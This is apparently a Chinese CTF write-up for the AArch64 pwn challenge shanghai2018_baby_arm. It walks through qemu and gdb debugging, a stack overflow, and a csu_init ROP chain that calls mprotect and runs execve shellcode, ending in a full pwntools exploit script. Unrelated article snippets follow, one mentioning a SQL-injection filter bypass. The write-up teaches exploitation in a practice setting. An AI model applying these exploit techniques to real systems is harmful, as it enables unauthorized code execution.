BUU刷题-Pwn-shanghai2018_baby_arm(ARM_ROP_csu_init,ARM架构入门)
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:ARM_ROP && mprotect函数(运行内存权限修改) && [[ARM_ROP_csu_init]]
获得shell或flag:ARM_Shellcode && 利用shellcode获得shell
学到的知识:
[[ARM_Pwn]]
[[使用gdb动态调试异架构程序]]
IDA远程调试异架构程序
ROPgadget的使用
ARM程序STP和LDP开辟栈帧恢复栈帧
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file ./shanghai2018_baby_arm_/shanghai2018_baby_arm
./shanghai2018_baby_arm_/shanghai2018_baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=./shanghai2018_baby_arm_/shanghai2018_baby_arm
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1./shanghai2018_baby_arm_/shanghai2018_baby_arm
libc版本:
wp借鉴:(25条消息) ARM PWN:Shanghai2018_baby_arm详细讲解_hollk的博客-CSDN博客
运行ARM架构的程序
先测试运行一下,检测一下程序后会发现这是一个ARM架构的动态链接程序,所以模拟运行一下:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn
Name:hello
hello
可以进行两次输入,由于题目还给出了两个ARM架构的libc文件所以也可以指定libc版本来运行arm程序
按照运行的报错就可以得出运行的目录需要改成lib文件夹下:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
qemu-aarch64: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
./pwn: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
需要将arm架构的libc文件移动程序下面这个文件结构就可以直接运行了
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ tree
.
├── lib
│ ├── ld-linux-aarch64.so.1
│ └── libc.so.6 --->(其实是改名后的libc.so_2.6)
└── pwn┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
Name:dasdsad
asdasdasd
程序可用信息收集
在分析一下伪代码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{ssize_t len; // x0init_0(); // 初始化缓冲区write(1, "Name:", 5uLL);len = read(0, &input1, 0x200uLL); vlun(len);return 0LL;
}
发现input1变量位于bss段
ssize_t vlun()
{__int64 v1; // [xsp+10h] [xbp+10h] BYREFreturn read(0, &v1, 0x200uLL);
}
发现变量V1存放在栈上但是该变量的长度小于可以向栈内写入的数据长度:
read()函数允许向这块栈空间输入512个字节
,大于0x48,所以该程序存在栈溢出漏洞!
获取可用的gadgets
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ ROPgadget --binary ./pwn > gadgets
ARM架构获取gadgets的方法:使用ROPgadget快速寻找arm64 pwn的rop链之ret2csu_如何找rop链-CSDN博客
查看可用函数:
开始利用漏洞
获取可利用的信息:
- 可在bss写入0x200个字节的数据
- 存在一个输入实现栈溢出
- 发现可用函数:mprotect
根据上面的可用信息就可有得出攻击路径了:
- 先向bss段写入shellcode
- 再利用栈溢出劫持PC寄存器来调用gadgets调用mportect函数开启bss段的可执行权限
- 最后在跳转到bss段执行shellcode代码
调试ARM程序开始分析
IDA远程调试ARM架构的程序
所需环境:
linux:qemu,gdb
windows:IDA
模拟执行时需要指定调试端口,23946是最好的:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn
Name:
配置IDA:
配置好后直接在ida下个断点就可以开始调试!
选择附加后Linux里的程序才会开始运行:
GDB调试ARM架构的程序
使用qemu开启调试端口:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn
再次使用gdb-multiarch开启调试:
┌──(root㉿kali)-[/home/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─# gdb-multiarch
GNU gdb (Debian 15.1-1) 15.1
...
pwndbg> set arch aarch64
The target architecture is set to "aarch64".
pwndbg> target remote 127.0.0.1:23946
设置调试架构:
set arch aarch64
链接远程端口:
target remote 127.0.0.1:23946
成功调试:
Python的pwntools库调用gdb进行调试
一键调试脚本:
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')is_remote = args.r
is_debug = args.dif is_remote:sh = remote('node5.buuoj.cn', 26456)
else:if is_debug:sh = process(["qemu-aarch64", "-L", "./", "-g", "1234", "./pwn"])else:sh = process(["qemu-aarch64", "-L", "./", "./pwn"])def mygdb():if not is_remote and is_debug:gdb.attach(sh, """target remote localhost:1234b *0x400838b *0x400808""") # brva 0xe93 b *0x4008c0
mygdb()
sh.interactive()
调试命令:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ python pwnexp.py -d
分析写入bss段的shellcode
查看pwntools生成的Shellcode:
>>> print(shellcraft.aarch64.sh())/* push b'/bin///sh\x00' *//* Set x14 = 8299904519029482031 = 0x732f2f2f6e69622f */mov x14, #25135 /*0x622f*/ b/movk x14, #28265, lsl #16 /*0x6e69*/ nimovk x14, #12079, lsl #0x20 /*0x2f2f*/ //movk x14, #29487, lsl #0x30 /*0x732f*/ s/mov x15, #104 /*0x68*/ hstp x14, x15, [sp, #-16]!/* execve(path='sp', argv=0, envp=0) */add x0, sp, xzrmov x1, xzrmov x2, xzr/* call execve() */mov x8, #SYS_execvesvc 0
shellcode解析:
第一部分就是将b'/bin///sh\x00'
放入栈中,
mov x14, #25135 /*0x622f*/ b/
解释:mov将0x622f放入寄存器x14movk x14, #28265, lsl #16 /*0x6e69*/ ni
movk x14, #12079, lsl #0x20 /*0x2f2f*/ //
movk x14, #29487, lsl #0x30 /*0x732f*/ s/
解释:movk它允许你将某个立即数加载到寄存器的特定位位置上,并保留寄存器的其他部分值。
movk 寄存器 , 立即数 , 算术操作 #操作位数
指定位置存放数据
b/ ni // s/
0~0x10 0x10~0x20 0x20~0x30 0x30~0x40mov x15, #104 /*0x68*/ hstp x14, x15, [sp, #-16]! 将x14,x15寄存器中的字符串放入栈中
解释:stp用于同时将两个寄存器的值存储到内存中sp 是栈指针(Stack Pointer),它指向当前堆栈的顶部。[sp, #-16]! 表示在存储数据之前,栈指针 sp 会先减去 `16` 字节,然后将数据存储在新位置上(这就是后缀 `!` 的含义,它表示更新后的地址会写回到 `sp` 中)。`#-16` 表示栈指针将向下移动 16 字节,通常在 64 位架构中,每个寄存器是 8 字节,因此 16 字节可以存储两个寄存器的值。
第二部分就是给函数传参:
/* execve(path='sp', argv=0, envp=0) */
add x0, sp, xzr
mov x1, xzr
mov x2, xzrARM架构的传参方式:x0~x7
寄存器:xzr就是0
这里就是传参:
参数一:add x0, sp, xzr
参数二:mov x1, xzr
参数三:mov x2, xzr
第三部分就是调用系统调用了:
/* call execve() */
mov x8, #SYS_execve
svc 0ARM架构的系统调用号存放寄存器是x8,x8作为系统调用号的存放位置
svc 0 类似于syscall
开始构造栈溢出ROP
开始计算第二部分的溢出长度
一步步调试就可以找到溢出的位置:
查看溢出的偏移长度:
pwndbg> cyclic 200 #可以生成一个长度200字节的字符串用来探测栈溢出目标的长度
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
栈帧1是main函数的栈帧,栈帧2是main函数里面的函数调用产生的栈帧,发现返回地址存放在栈顶位置
开始伪造恶意栈帧
先了解arm程序的栈帧构造的汇编代码:
STP X29, X30, [SP,#var_50]! --开辟栈帧 0x50 并且保存 X29(栈帧地址)和X30(函数返回地址)
MOV X29, SP
...
LDP X29, X30, [SP+0x50+var_50],#0x50 --恢复栈帧 0x50 将栈顶的两个值恢复到x29 和x30,并更新栈指针SP。
RET
x29
是帧指针寄存器。x30
是返回地址寄存器(即 LR,链接寄存器)。STP
将寄存器中的值存储到栈顶LDP
将栈顶的两个值恢复到x29
和x30
,并更新栈指针SP
。RET
:从LR
寄存器中读取返回地址并跳回。
我们需要的恶意栈帧需要实现的功能调用mprotect函数开启bss段的权限然后再跳转到bss段执行shellcode,首先找到两段gadget:
这段gadget主要是将需要的参数传递给不同的寄存器:x19,x20,x21,x22,x23,x24
0x00000000004008cc :
ldp x19, x20, [sp, #0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给x20
ldp x21, x22, [sp, #0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给x22
ldp x23, x24, [sp, #0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给x24
ldp x29, x30, [sp], #0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30 sp寄存器+0x40
ret
这段gadget可以实现两次任意函数调用:
0x00000000004008ac :
ldr x3, [x21, x19, lsl #3] ; 从地址 [x21 + x19 << 3] 处加载值到 x3(x21 基址 + x19 的左移 3 位乘法偏移,用于取函数地址)
mov x2, x22 ; 将寄存器 x22 的值复制到寄存器 x2
mov x1, x23 ; 将寄存器 x23 的值复制到寄存器 x1
mov w0, w24 ; 将寄存器 w24 的值复制到寄存器 w0
add x19, x19, #1 ; 将 x19 加 1(可能用于循环计数)
blr x3 ; 跳转并链接到 x3 存储的地址处,调用函数
cmp x19, x20 ; 比较 x19 和 x20 的值(可能用于判断循环结束)
b.ne loc_4008AC ; 如果 x19 和 x20 不相等,则跳转到 0x4008AC(形成循环)
我们的payload:
payload2 = b'a'*overlen + p64(csu_down)
payload2 +=
b'aaaaapwn'
+ p64(csu_up)
+ p64(0) x19
+ p64(1) x20
+ p64(save_mprotect) x21
+ p64(0x7) x22
+ p64(0x1000) x23
+ p64(0x411000) x24
+ b'aaaaapwn'
+ p64(save_shellcode)
第一次调用:
ldr x3, [x21, x19, lsl #3] ; 必须将mprotect_plt的地址写到bss段,因为这里读取的数据方式是指针,只有这样才可以将 mprotect的函数地址写入x3
mov x2, x22 ; 将寄存器 x22 的值复制到寄存器 x2 参数3
mov x1, x23 ; 将寄存器 x23 的值复制到寄存器 x1 参数2
mov w0, w24 ; 将寄存器 w24 的值复制到寄存器 w0 参数1
add x19, x19, #1 ; 将 x19 加 1(可能用于循环计数)
blr x3 ; 跳转并链接到 x3 存储的地址处,调用函数 等于x86的call指令
成功调用权限开启函数:
运行后可以根据函数的返回值判断是否调用成功!X0是返回值的存放寄存器,返回值是0就代表函数调用成功,如果是-1(也就是0xffffffffffffffff)就代表函数调用失败
执行完成后又会经过判断,这里经过精心构造就不会进行跳转,继续进行下一步
0x4008c4 cmp x19, x20 0x4008c8 b.ne #0x4008ac <0x4008ac>► 0x4008cc ldp x19, x20, [sp, #0x10] 0x4008d0 ldp x21, x22, [sp, #0x20]0x4008d4 ldp x23, x24, [sp, #0x30]0x4008d8 ldp x29, x30, [sp], #0x40 在这里将会将栈帧中的值写入x30,这样ret时候就可以跳转到任意地址 0x4008dc ret
继续执行后就会跳转到shellcode的位置:<0x411070>
将6个需要的参数放置到x19,x20,x21,x22,x23,x24
成功构造出恶意栈帧:
最后开始执行shellcode:
成功执行:
思路整理
本体存在两个输入,第一个输入可以向bss段写入数据,第二个输入可以实现栈溢出.
再分析题目时候发现存在mportect函数可以开启bss的执行权限,由于arm程序没有和pop和push一样的指令来连续调用函数,所以采用ARM架构下的csu_init的gadget(和x86的一样只是使用arm指令完成的),所以利用这个gadget可以实现两次调用!
第一次调用mprotect函数开启shellcode的可执行权限,再跳转到shellcode代码处!
脚本:
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')is_remote = args.r
is_debug = args.dif is_remote:sh = remote('node5.buuoj.cn', 26456)
else:if is_debug:sh = process(["qemu-aarch64", "-L", "./", "-g", "1234", "./pwn"])else:sh = process(["qemu-aarch64", "-L", "./", "./pwn"])def mygdb():if not is_remote and is_debug:gdb.attach(sh, """target remote localhost:1234b *0x400854""") # brva 0xe93 b *0x4008c0mprotect_plt = elf.plt['mprotect']
csu_down = 0x4008CC
csu_up = 0x4008AC
overlen = 72
save_mprotect = 0x411068
save_shellcode = 0x411068 + 0x8
shellcode = asm(shellcraft.aarch64.sh())
mygdb()
payload1 = p64(mprotect_plt) + shellcode
sh.sendafter('Name:',payload1)payload2 = b'a'*overlen + p64(csu_down)
payload2 += b'aaaaapwn' + p64(csu_up) + p64(0) + p64(1)
payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(0x411000)
payload2 += b'aaaaapwn' + p64(save_shellcode)sh.send(payload2)sh.interactive()
相关文章:

BUU刷题-Pwn-shanghai2018_baby_arm(ARM_ROP_csu_init,ARM架构入门)
解题思路: 泄露或修改内存数据: 堆地址:无需栈地址:无需libc地址:无需BSS段地址:无需 劫持程序执行流程:ARM_ROP && mprotect函数(运行内存权限修改) && [[ARM_ROP_csu_init]…...

flutter_鸿蒙next(win)环境搭建
第一步 拉取鸿蒙版本flutterSDK仓库 仓库地址:OpenHarmony-SIG/flutter_flutter 第二步 找到拉取的仓库中的README.md 并根据说明配置环境 第三步 配置好环境变量之后 用管理员开启cmd 输入:flutter dcotor 并查看此时flutter所支持的系统 包括&…...

腾讯一面-LRU缓存
为了设计一个满足LRU(最近最少使用)缓存约束的数据结构,我们可以使用哈希表(HashMap)来存储键值对,以便在O(1)时间复杂度内访问任意键。同时,我们还需要一个双向链表(Doubly Linked …...

k8s实战-1
k8s实战-1 一、资源创建方式1.命令行2.yaml 二、命名空间三、Pod总结 一、资源创建方式 1.命令行 就是直接通过命令的方式创建,比如我要创建namespace, kubectl create namespace hello删除: kubectl delete -f hello2.yaml 简单来说&am…...

Python进程池:提升你的并发性能
引言 在现代编程中,多核处理器的普及使得并发编程变得尤为重要。Python,作为一种广泛使用的编程语言,提供了多种并发和并行编程的工具。其中,multiprocessing库中的进程池(Pool)是一个强大的工具ÿ…...

内存占用估算方法
优质博文:IT-BLOG-CN 通过掌握每种数据类型的大小,就可以更准确地预测对象和数据的内存消耗。 一、基础数据类型 Java基础数据类型结构,在64位系统开启指针压缩情况下的内存占用字节数: booleanbytecharshortintlongfloatdoub…...

拓扑排序简介
拓扑排序(Topological Sort)是一种重要的图算法,用于对有向无环图(DAG, Directed Acyclic Graph)中的节点进行排序。拓扑排序的结果是一种线性序列,使得对于图中的任意一条有向边(u, v),顶点u都在顶点v之前。这种排序常用于任务调度、编译器依赖关系分析等领域。 拓…...

使用iTextPDF库时,设置文字为中文格式
在使用iTextPDF库时,设置文字为中文格式主要涉及选择合适的中文字体,并确保该字体能够正确渲染中文字符。由于iTextPDF的内置字体通常不支持中文,因此你需要加载一个支持中文的字体文件(如TrueType字体,.ttf文件&#…...

Windows环境下使用Docker配置MySQL数据库
用Docker配置数据库,无论是做开发,还是做生产部署,都非常的方便 它不需要单独安装数据库,也不用担心出现各种环境的配置问题。 本文将分享用Docker配置数据库的步骤,这里用MySQL举例。 其他的数据库如MSSQL…...

快速上手C语言【上】(非常详细!!!)
目录 1. 基本数据类型 2. 变量 2.1 定义格式 和 命名规范 2.2 格式化输入和输出(scanf 和 printf) 编辑 2.3 作用域和生命周期 3. 常量 4. 字符串转义字符注释 5. 操作符 5.1 双目操作符 5.1.1 算数操作符 5.1.2 移位操作符 5.1.3 位操作符…...

[深度学习][python]yolov11+deepsort+pyqt5实现目标追踪
【算法介绍】 YOLOv11、DeepSORT和PyQt5的组合为实现高效目标追踪提供了一个强大的解决方案。 YOLOv11是YOLO系列的最新版本,它在保持高检测速度的同时,通过改进网络结构、优化损失函数等方式,提高了检测精度,能够同时处理多个尺…...
【CSDN入门级教程】
这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…...

二叉搜索树 (BST) 节点插入、查找、删除、获取最大值、最小值和中序遍历排序等功能
二叉搜索树 (BST) 实现总结 本程序实现了一个简单的二叉搜索树 (BST),支持节点插入、查找、删除、获取最大值、最小值和中序遍历排序等功能。以下是各部分的详细说明。 数据结构 节点定义 struct BinTreeNode {int data; // 节点存储的数…...

unity ps 2d animation 蛇的制作
一、PS的使用 1.打开PS 利用钢笔工具从下往上勾勒填充 2.复制图层,Ctrl T,w调为-100% 3.对齐图层并继续用钢笔工具进行三角勾勒 3.画眼睛,按U快捷键打开椭圆工具,按住Shift可以画圆,填充并复制图层对称。 4.画笔工具,打开小…...

39 C 语言枚举类型、枚举常量、枚举变量、枚举的遍历、枚举数组、枚举与 switch
目录 1 什么是枚举 2 定义枚举类型 2.1 语法格式 2.2 枚举元素的特点 2.3 案例演示 3 枚举变量 3.1 什么是枚举变量 3.2 定义枚举变量的多种方式 3.3 案例演示 1:标准版枚举类型 3.4 案例演示 2:简化版枚举类型 3.5 案例演示 3:匿…...

LabVIEW程序怎么解决 Bug?
在LabVIEW开发过程中,发现和解决程序中的Bug是确保系统稳定运行的关键环节。由于LabVIEW采用图形化编程方式,Bug的排查和处理与传统编程语言略有不同。以下是解决LabVIEW程序中Bug的常见方法和技巧,涵盖从问题发现到解决的多个步骤和角度&…...

AR智能眼镜之战:Meta vs Snap
随着增强现实(AR)技术的发展,各大科技公司都在争夺下一代计算平台的领先地位。Meta(前身为Facebook)和Snap作为其中的两个重要玩家,正在竞相开发能够提供沉浸式体验的AR智能眼镜。在这篇文章中,我们将深入探讨这两家公司可能采用的显示技术和用户体验,并分析它们各自的…...

Spring Boot 集成 Flowable UI 实现请假流程 Demo
博客主页: 南来_北往 系列专栏:Spring Boot实战 在现代企业应用中,工作流管理是一个至关重要的部分。通过使用Spring Boot和Flowable,可以方便地构建和管理工作流。本文将详细介绍如何在Spring Boot项目中集成Flowable UI,…...

毕业设计选题:基于ssm+vue+uniapp的医院管理系统小程序
开发语言:Java框架:ssmuniappJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7(一定要5.7版本)数据库工具:Navicat11开发软件:eclipse/myeclipse/ideaMaven包:M…...

自动驾驶系列—线控悬架技术:自动驾驶背后的动力学掌控者
🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…...

CTF刷题buuctf
[WUSTCTF2020]颜值成绩查询 拿到相关题目,其实根据功能和参数分析。需要传入一个学号然后进行针对于对应的学号进行一个查询,很可能就会存在sql注入。 其实这道题最难的点,在于过滤了空格,因此我们使用 /**/来过滤空格的限制。…...

Qt QWidget控件
目录 一、概述 二、Qwidget常用属性及函数介绍 2.1 enable 2.2 geometry 2.3 windowTitle 2.4 windowIcon 2.5 cursor 2.6 font 设置字体样式 2.7 toolTip 2.8 focusPolicy焦点策略 2.9 styleSheet 一、概述 widget翻译而来就是小控件,小部件。…...

如何通过Dockfile更改docker中ubuntu的apt源
首先明确我们有一个宿主机和一个docker环境,接下来的步骤是基于他们两个完成的 1.在宿主机上创建Dockerfile 随便将后面创建的Dockerfile放在一个位置,我这里选择的是 /Desktop 使用vim前默认你已经安装好了vim 2.在输入命令“vim Dockerfile”之后,…...

[C++][第三方库][jsoncpp]详细讲解
目录 1.介绍2.jsoncpp3.使用1.main.cc2.序列化3.反序列化 1.介绍 json是一种数据交换格式,采用完全独立于编程语言的文本格式来存储和表示数据json数据类型:对象、数组、字符串、数字 对象:使用{}括起来的表示一个对象数组:使用[…...

JavaScript中decodeURIComponent函数的深入解析与应用指南
在Web开发中,经常需要对URI(统一资源标识符)进行编码和解码,以保证数据传输的准确性和可靠性。decodeURIComponent函数是JavaScript中用于解码由encodeURIComponent函数或其他类似方法编码的部分统一资源标识符(URI&am…...

DMA方式为什么无需保护现场
DMA(Direct Memory Access)方式无需保护现场的原因主要与其工作原理和硬件设计有关。以下是对这一问题的详细解释: DMA工作原理 DMA是一种通过硬件直接在内存和外设之间传输数据的技术,无需CPU的介入。在DMA传输过程中ÿ…...

区块链可投会议CCF C--FC 2025 截止10.8 附录用率
Conference:Financial Cryptography and Data Security (FC) CCF level:CCF C Categories:network and information security Year:2025 Conference time:14–18 April 2025, Miyakojima, Japan 录用率࿱…...

springboot系列--web相关知识探索四
一、前言 web相关知识探索三中研究了请求中所带的参数是如何映射到接口参数中的,也即请求参数如何与接口参数绑定。主要有四种、分别是注解方式、Servlet API方式、复杂参数、以及自定义对象参数。web相关知识探索三中主要研究了注解方式以及Servlet API方式。本次…...

在PyQt5中,清空一个QFrame中的所有控件
在PyQt5中,如果你想要清空一个QFrame中的所有控件,你需要遍历该QFrame的布局(假设你已经在其中添加了一个布局,比如QVBoxLayout或QHBoxLayout),并从布局中移除所有的控件。由于直接从布局中移除控件并不会立…...

SpringBoot实现:校园资料分享平台开发指南
1系统概述 1.1 研究背景 如今互联网高速发展,网络遍布全球,通过互联网发布的消息能快而方便的传播到世界每个角落,并且互联网上能传播的信息也很广,比如文字、图片、声音、视频等。从而,这种种好处使得互联网成了信息传…...